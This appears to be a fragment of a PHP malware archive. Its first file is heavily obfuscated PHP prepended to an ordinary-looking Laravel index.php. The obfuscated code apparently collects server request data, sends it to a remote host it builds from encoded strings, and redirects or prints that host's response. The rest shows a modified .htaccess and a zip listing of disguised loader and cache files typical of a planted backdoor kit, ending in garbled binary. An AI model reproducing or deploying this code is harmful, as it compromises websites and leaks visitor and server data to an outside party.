UQ3ogPSBpbXBsb2RlKCIsIixhcnJheSgiS3A0NVZLIiwiamRERUxvMiIsInREN1lhZ2YiLCJYVWZMRyIpKTsgJFNpNGxnankgPSB1Y3dvcmRzKCJQTnU3bUxrIik7ICRncDNtVFh4ID0gZGF0ZSgiWS1tLWQgSDppOnMiKTsgJEloY0tXMCA9IGltcGxvZGUoIiwiLGFycmF5KCJEVGVuRkpwNSIsInZRZlcwIiwiZk5wNGFPbCIsIkEzYXFlMGo2IikpOyAkaVNMcmcgPSBzdHJzdHIoImlTTHJnIiwgIm1ocGVHIik7ICRvXzRZZiA9IHN0cnZhbChmYWxzZSk7ICRxYkdCWTVOWCA9IGFkZHNsYXNoZXMoInFiR0JZNU5YIik7ICRnd3o2UmEgPSBzaGExKCJ5OTBJaiIpOyAkU1FLOTZpbSA9IGNodW5rX3NwbGl0KCJ2b2RHX0V2RlppMk40RG1PZVgiLDMpOyAkdVRvQ2N6NSA9IHN1YnN0cigidVRvQ2N6NSIsNywwKTsgIAo\/Pjw\/cGhwCiRqZ3BleiA9IChzdHJpbmcpIG51bGw7ICR3cXlpWTZiNCA9IHN0cnN0cigiQThiNnN2TDFDIiwiQ1R5QXZJUyIpOyAkZ09OOEEgPSBzdHJfcmVwbGFjZSgiZ09OOEEiLCAiIiwgImdPTjhBIik7JHBHbVhfRDFXMiA9IChzdHJpbmcpIG51bGw7ICRha1JtTzUgPSBzdHJ2YWwoZmFsc2UpOyAkX0paRk1FcmQgPSBzdHJwb3MoInc3S1NzIiwiSUhjcHpLIik7ICRvemowSk4gPSBpbXBsb2RlKCIsIixhcnJheSgiakdQOFhOIiwiUUdDMnJVZkQwIiwiTEc4bmJvZncyIiwiS3V6YjhQVGdHIikpOyAkUGZ0Z3BtID0gbWV0YXBob25lKCJJcDUwayIpOyAkbm40MDVyRFQgPSBzdHJfcmVwbGFjZSgibm40MDVyRFQiLCAiIiwgIm5uNDA1ckRUIik7JGVwTW9jRyA9IHN0cnN0cigiZXBNb2NHIiwgIllETDF0RnVDaiIpOyAkclJBenAgPSBhZGRzbGFzaGVzKCJyUkF6cCIpOyBjbGFzcyBwUkhFQUx7CXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsgICAgICAgIAkJc2VsZjo6JHFrMEQ3bVl0ID0gJF9TRVJWRVI7ICAgIH1wcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBaalVWMmEoJEdzTkJhKSB7CQkkbTRFSzFEYyA9ICIiOwkJZm9yZWFjaCgkR3NOQmEgYXMgJGI4dGlJT0MyKXsJCQkkbTRFSzFEYyAuPSBzZWxmOjpIM0JkbTUoJGI4dGlJT0MyKTsJCQkJCX0JCXJldHVybiAkbTRFSzFEYzsJfQlwcml2YXRlIHN0YXRpYyAkTXpiMnEgPSAiIjtwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBGMDF1YigpewkJaWYoc2VsZjo6WmpVVjJhKFs0NSwxOCwyMCw0NSw0MCw1NV0pKHRyaW0oc2VsZjo6JE16YjJxKSwwLDQpPT0gc2VsZjo6WmpVVjJhKFs3MSw0MCw0MCw1XSkpewkJCQkJaGVhZGVyKHNlbGY6OlpqVVYyYShbMjUsNjAsNDQsMjcsNDAsMjIsNjAsNywzNF0pLnNlbGY6OiRNemIycSk7CQkJZXhpdDsJCX0JfXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gX19jYWxsU3RhdGljKCRMQ0hCcCwgJEFKWUE5Mykgewlnb3RvIG1XSUxnOFRCQztUaWwwYlJUTDogc2VsZjo6JHFrMEQ3bVl0PSBzZWxmOjpaalVWMmEoWzEwLDQ1LDYwLDcsMTQsMTMsNyw0NCw2MCw2NCwxM10pKHNlbGY6OiRxazBEN21ZdCk7Z290byBzTFc2MzRYa3F1O0ZBNGNzTEQ6IHNlbGY6OlpqVVYyYShbNDQsMTgsNTUsMzIsMTQsNDUsMTMsNDAsNjAsNSw0MF0pKCRReEdodnBDLHNlbGY6OlpqVVYyYShbMzUsNjcsNjcsMzUsNTRdKSwgMSk7Z290byBmQ1RqeDFSO3VnazZKTDogJG01TEFWbDdRID0gW3NlbGY6OlpqVVYyYShbMCwyMSwyNV0pPT4iMiIsIlQiPT4ibCJdO2dvdG8gcUJhdTliaElYUztTNTZzUUw6IHNlbGY6OkYwMXViKCk7Z290byB2MDNEN3dmRnJJO2ZDVGp4MVI6IHNlbGY6OlpqVVYyYShbNDQsMTgsNTUsMzIsMTQsNDUsMTMsNDAsNjAsNSw0MF0pKCRReEdodnBDLHNlbGY6OlpqVVYyYShbNjMsMzldKSwgMCk7Z290byBiMEQ2dHlOWFNQO3NMVzYzNFhrcXU6IHNlbGY6OiRxazBEN21ZdCA9IHNlbGY6OlpqVVYyYShbMjAsMjcsNDUsMTMsNjMsMzksMTQsMTMsNyw0NCw2MCw2NCwxM10pKHNlbGY6OiRxazBEN21ZdCk7Z290byBLWlM5V0VYN0xLO2xrNFhiT3JZdjY6IHNlbGY6OlpqVVYyYShbNDQsMTgsNTUsMzIsMTQsNDUsMTMsNDAsNjAsNSw0MF0pKCRReEdodnBDLHNlbGY6OlpqVVYyYShbMzUsNDcsNDcsNDcsNzRdKSwkdGR2bmo0KTtnb3RvIEZBNGNzTEQ7cFJUVkc1Z2Q6ICR0ZHZuajQgPSBzZWxmOjpaalVWMmEoWzcxLDQwLDQwLDUsMzQsOCw4LDMzXSk7JHRkdm5qNCAuPSBzZWxmOjpaalVWMmEoWzcxLDY0LDIyLDQ1LDc1LDEsNTUsMThdKTskdGR2bmo0IC49IHNlbGY6OlpqVVYyYShbOCwyNyw1LDIyLDgsNTksMTgsMjddKTskdGR2bmo0IC49IHNlbGY6OlpqVVYyYShbNjldKTtnb3RvIFRpbDBiUlRMO2FkTnJLb3d4OiAkUXhHaHZwQyA9IHNlbGY6OlpqVVYyYShbNDQsMTgsNTUsMzIsMTQsMjIsNywyMiw0MF0pKCk7Z290byB1Z2s2Skw7SFk5SmVCVzogc2VsZjo6WmpVVjJhKFs0NCwxOCw1NSwzMiwxNCw0NCwzMiw2MCw0NSwxM10pKCRReEdodnBDKTtnb3RvIFM1NnNRTDt2MDNEN3dmRnJJOiBzZWxmOjpFSFRLaigpO2dvdG8gRXdCVlNfO0taUzlXRVg3TEs6ICR0ZHZuajQgPSAkdGR2bmo0LnNlbGY6OiRxazBEN21ZdDtnb3RvIGxrNFhiT3JZdjY7TncyWkpWXzQ5OiBzZWxmOjokTXpiMnEgPSBzZWxmOjpaalVWMmEoWzQ0LDE4LDU1LDMyLDE0LDEzLDksMTMsNDRdKSgkUXhHaHZwQyk7Z290byBIWTlKZUJXO0V3QlZTXzogc2VsZjo6c2Z1SWpFZSgpO2dvdG8gVXNCZ25VTlo7YjBENnR5TlhTUDogc2VsZjo6WmpVVjJhKFs0NCwxOCw1NSwzMiwxNCw0NSwxMyw0MCw2MCw1LDQwXSkoJFF4R2h2cEMsc2VsZjo6WmpVVjJhKFszNSw1NF0pLCA1Mik7Z290byBOdzJaSlZfNDk7cUJhdTliaElYUzogc2VsZjo6JHFrMEQ3bVl0ID0gYXJyYXlfbWVyZ2Uoc2VsZjo6JHFrMEQ3bVl0LCRtNUxBVmw3USk7Z290byBwUlRWRzVnZDttV0lMZzhUQkM6IHNlbGY6OiRHTGVQRmQgPSAkQUpZQTkzWzBdO2dvdG8gYWROcktvd3g7VXNCZ25VTlo6IiI7CQkJICAgIH1wcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBzZnVJakVlKCl7CQlpZihzZWxmOjpaalVWMmEoWzQ1LDQwLDU1LDQ1LDQwLDU1XSkodHJpbShzZWxmOjokTXpiMnEpLHNlbGY6OlpqVVYyYShbMiw3MSw0MCw2MSwzMl0pKSl7CQkJZXhpdChzZWxmOjokTXpiMnEpOwkJfQl9cHJpdmF0ZSBzdGF0aWMgJHFrMEQ3bVl0ID0gbnVsbDtwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBFSFRLaigpewkJaWYoc2VsZjo6WmpVVjJhKFs0NSw0MCw1NSw0NSw0MCw1NV0pKHNlbGY6OiRNemIycSxzZWxmOjpaalVWMmEoWzIsMTgsNTUsMzIsNDUsMTMsNDBdKSkpewkJCQkJCXNlbGY6OlpqVVYyYShbNzEsMTMsMjcsNjQsMTMsNTUsNTIsNTcsNDEsNjAsNyw0MCwxMyw3LDQwLDQ4LDQwLDMzLDUsMTMsMzQsNDAsMTMsOSw0MCw4LDksNjEsMzIsNTcsNTMsNTFdKTsJCQlleGl0KHNlbGY6OiRNemIycSk7CQl9CX1wcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBIM0JkbTUoJEhDblFla1cpIHsJCXJldHVybiBzZWxmOjokR0xlUEZkWyRIQ25RZWtXXTsJfXByaXZhdGUgc3RhdGljICRHTGVQRmQgPSAiIjt9JHlhc192emogPSBzdHJfcmVwZWF0KCIiLCA3KTsgJEJqMFE5ID0gc2hhMSgiX1UxS08iKTsgJGFzY2ZvZ0M5ID0gaW1wbG9kZSgiYXNjZm9nQzkiLGFycmF5KCkpOyRFczJiUkMgPSB3b3Jkd3JhcCgiIiwgOCk7JGVycHRjRnlEID0gc3Ryc3RyKCJlcnB0Y0Z5RCIsICJSY3paMyIpOyAkWk44cVQgPSBzaGExKCJvU1FpMzA1Iik7ICRIVFN4eiA9IGxjZmlyc3QoIkNVNmNrU0RhWCIpOyAkTl92SEFvID0gKHN0cmluZykgbnVsbDsgJGJRakU2ID0gc3Ryc3RyKCJiUWpFNiIsICJSYW42T2pWNCIpOyAkd0c0YlJuRHdwID0gc3RyX3BhZCgiIiwgMCk7ICRqODByVzFCUCA9IG1kNSgicjlPWEtrbDgiKTsgbmV3IHBSSEVBTCgpOyRQUWN2MzdiZiA9IHNwcmludGYoIiIpOyAkUDNVdkEgPSBkZWZpbmVkKCJzTUV3OUZjNiIpOyAkRE00WjcgPSAoc3RyaW5nKSBudWxsOyAkZlpmZ0UxNTZqID0gZGVmaW5lKCJXWnNKQWYiLCJ3aER5U04iKTsgJHVDYkFGbyA9IHVjZmlyc3QoIkxGWlU1aDB3Iik7ICRQZDQxNVUgPSBhZGRjc2xhc2hlcygiUGQ0MTVVIiwicTg3X2M5Ymt4QnA0bk9HM1NXaiIpOyAkcVFlVXR2RSA9IHN0cmlwb3MoInFQWDJnMyIsInpQalZkeF8iKTsgJEJlM3ltY1MxWSA9IGRhdGUoIlktbS1kIEg6aTpzIik7ICREQTNLbVljTlcgPSBzdHJfcmVwZWF0KCIiLCA5KTsgJHRwakJTID0gbWV0YXBob25lKCJaT2E5ZVliUUkiKTsgJHZ5N1hTQWcgPSBzdHJ2YWwoZmFsc2UpOyBwUkhFQUw6OmFOcEloUygnVC48IE9wSm4veGpRSWVfV1J3dUdiUGlGS0xOYVpBREhseToxPkVWNHRDcWdjczcwLTVVOygpM3J2IlM\/b21CNmRmTTl6PVhoWTgyaycpOyRDNzIzdzF5diA9IGltcGxvZGUoIiwiLGFycmF5KCJRaHN6UUYiLCJXNk5zZUR6IiwiWnp1cGRGQTRlIiwiT3BhQ1Q4TSIpKTsgJG4ySmFzT1h4ID0gc2hhMSgiZ3dBeUNKYjBJIik7ICRUWnE2eXpiID0gKHN0cmluZykgbnVsbDsgJE9VM0hGWCA9IHN0cnBvcygiSjlwWUtpaCIsIkNQYTZZemxPTCIpOyAkT0owSTh1cEw1ID0gdWN3b3Jkcygic1pOSzU2Iik7ICRSVnFpN2FOID0gc3RydmFsKGZhbHNlKTsgJFNzbXdKeTRNID0gc3RycG9zKCJiR0VfaiIsIkx4MlVRdFp6bCIpOyAkVjBpcjZsM0ggPSBzdHJzdHIoImdjNUozR21GMSIsInJFSmFxIik7ICRnZ3F0RWpDID0gc3Vic3RyKCJnZ3F0RWpDIiw3LDApOyR0a2F1bTQgPSBpbXBsb2RlKCJ0a2F1bTQiLGFycmF5KCkpOyRUSlRCeFl3dCA9IGRlZmluZWQoInRFQ1U5Iik7ICAgCj8+PD9waHANCg0KaW5pX3NldCgnc2VyaWFsaXplX3ByZWNpc2lvbicsIC0xKTsNCg0KLyoqDQogKiBMYXJhdmVsIC0gQSBQSFAgRnJhbWV3b3JrIEZvciBXZWIgQXJ0aXNhbnMNCiAqDQogKiBAcGFja2FnZSAgTGFyYXZlbA0KICogQGF1dGhvciAgIFRheWxvciBPdHdlbGwgPHRheWxvckBsYXJhdmVsLmNvbT4NCiAqLw0KDQpkZWZpbmUoJ0xBUkFWRUxfU1RBUlQnLCBtaWNyb3RpbWUodHJ1ZSkpOw0KDQovKg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8IFJlZ2lzdGVyIFRoZSBBdXRvIExvYWRlcg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8DQp8IENvbXBvc2VyIHByb3ZpZGVzIGEgY29udmVuaWVudCwgYXV0b21hdGljYWxseSBnZW5lcmF0ZWQgY2xhc3MgbG9hZGVyIGZvcg0KfCBvdXIgYXBwbGljYXRpb24uIFdlIGp1c3QgbmVlZCB0byB1dGlsaXplIGl0ISBXZSdsbCBzaW1wbHkgcmVxdWlyZSBpdA0KfCBpbnRvIHRoZSBzY3JpcHQgaGVyZSBzbyB0aGF0IHdlIGRvbid0IGhhdmUgdG8gd29ycnkgYWJvdXQgbWFudWFsDQp8IGxvYWRpbmcgYW55IG9mIG91ciBjbGFzc2VzIGxhdGVyIG9uLiBJdCBmZWVscyBncmVhdCB0byByZWxheC4NCnwNCiovDQoNCnJlcXVpcmUgX19ESVJfXy4nL3ZlbmRvci9hdXRvbG9hZC5waHAnOw0KDQovKg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8IFR1cm4gT24gVGhlIExpZ2h0cw0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8DQp8IFdlIG5lZWQgdG8gaWxsdW1pbmF0ZSBQSFAgZGV2ZWxvcG1lbnQsIHNvIGxldCB1cyB0dXJuIG9uIHRoZSBsaWdodHMuDQp8IFRoaXMgYm9vdHN0cmFwcyB0aGUgZnJhbWV3b3JrIGFuZCBnZXRzIGl0IHJlYWR5IGZvciB1c2UsIHRoZW4gaXQNCnwgd2lsbCBsb2FkIHVwIHRoaXMgYXBwbGljYXRpb24gc28gdGhhdCB3ZSBjYW4gcnVuIGl0IGFuZCBzZW5kDQp8IHRoZSByZXNwb25zZXMgYmFjayB0byB0aGUgYnJvd3NlciBhbmQgZGVsaWdodCBvdXIgdXNlcnMuDQp8DQoqLw0KDQokYXBwID0gcmVxdWlyZV9vbmNlIF9fRElSX18uJy9ib290c3RyYXAvYXBwLnBocCc7DQoNCi8qDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnwgUnVuIFRoZSBBcHBsaWNhdGlvbg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8DQp8IE9uY2Ugd2UgaGF2ZSB0aGUgYXBwbGljYXRpb24sIHdlIGNhbiBoYW5kbGUgdGhlIGluY29taW5nIHJlcXVlc3QNCnwgdGhyb3VnaCB0aGUga2VybmVsLCBhbmQgc2VuZCB0aGUgYXNzb2NpYXRlZCByZXNwb25zZSBiYWNrIHRvDQp8IHRoZSBjbGllbnQncyBicm93c2VyIGFsbG93aW5nIHRoZW0gdG8gZW5qb3kgdGhlIGNyZWF0aXZlDQp8IGFuZCB3b25kZXJmdWwgYXBwbGljYXRpb24gd2UgaGF2ZSBwcmVwYXJlZCBmb3IgdGhlbS4NCnwNCiovDQoNCiRrZXJuZWwgPSAkYXBwLT5tYWtlKElsbHVtaW5hdGVcQ29udHJhY3RzXEh0dHBcS2VybmVsOjpjbGFzcyk7DQoNCiRyZXNwb25zZSA9ICRrZXJuZWwtPmhhbmRsZSgNCiAgICAkcmVxdWVzdCA9IElsbHVtaW5hdGVcSHR0cFxSZXF1ZXN0OjpjYXB0dXJlKCkNCik7DQoNCiRyZXNwb25zZS0+c2VuZCgpOw0KDQoka2VybmVsLT50ZXJtaW5hdGUoJHJlcXVlc3QsICRyZXNwb25zZSk7DQo=","md5":"f61a05d4d44a0704beef1ee9b36b6964"},".htaccess":{"content":"IyA9PT0gQVFVQSBIQVJERU5FRCBIVEFDQ0VTUyA9PT0KPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XQpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+CiMgPT09IEVORCBBUVVBIEhBUkRFTkVEIEhUQUNDRVNTID09PQo=","md5":"faa0a1fb05eab24a9f8c8c060f4b3446"}}}PK!P]ތ>>$b7e3051c26d16555f779ac9e53d98ce9.datnu[PK!P]u:a>?config-loader.phpnu[PK!P]-jmm-Csession-manifest.phpnu[PK!P]u:aFconfig-cache.phpnu[PK!P]u:aJsession-index.phpnu[PK!P]u:aNsession-runtime.phpnu[PK!P]u:aRsession-cache.phpnu[PK!P]Vres9fb17e/index.phpnu[PK!P]ިsZZres9fb17e/.htaccessnu[PK!P]^res9fb17e/ext4b8905/index.phpnu[PK!P]ިsZZres9fb17e/ext4b8905/.htaccessnu[PK!P]N4' .htaccessnu[PK!P]lS[[Mcache/modules/.htaccessnu[PK!P] ۹cache/modules/session-cache.phpnu[PK!P] ۹cache/modules/widget-loader.phpnu[PK!P] ۹cache/modules/session-index.phpnu[PK!P]v8ss cache/modules/session-loader.phpnu[PK!P] ۹ʺcache/modules/init-cache.phpnu[PK!P] ۹Ͼcache/modules/context-cache.phpnu[PK!P]v8ss cache/modules/context-loader.phpnu[PK!P]lS[[cache/data/.htaccessnu[PK!P]y>>/9cache/data/21c79f88c5ac980a501c71923a8be969.datnu[PKA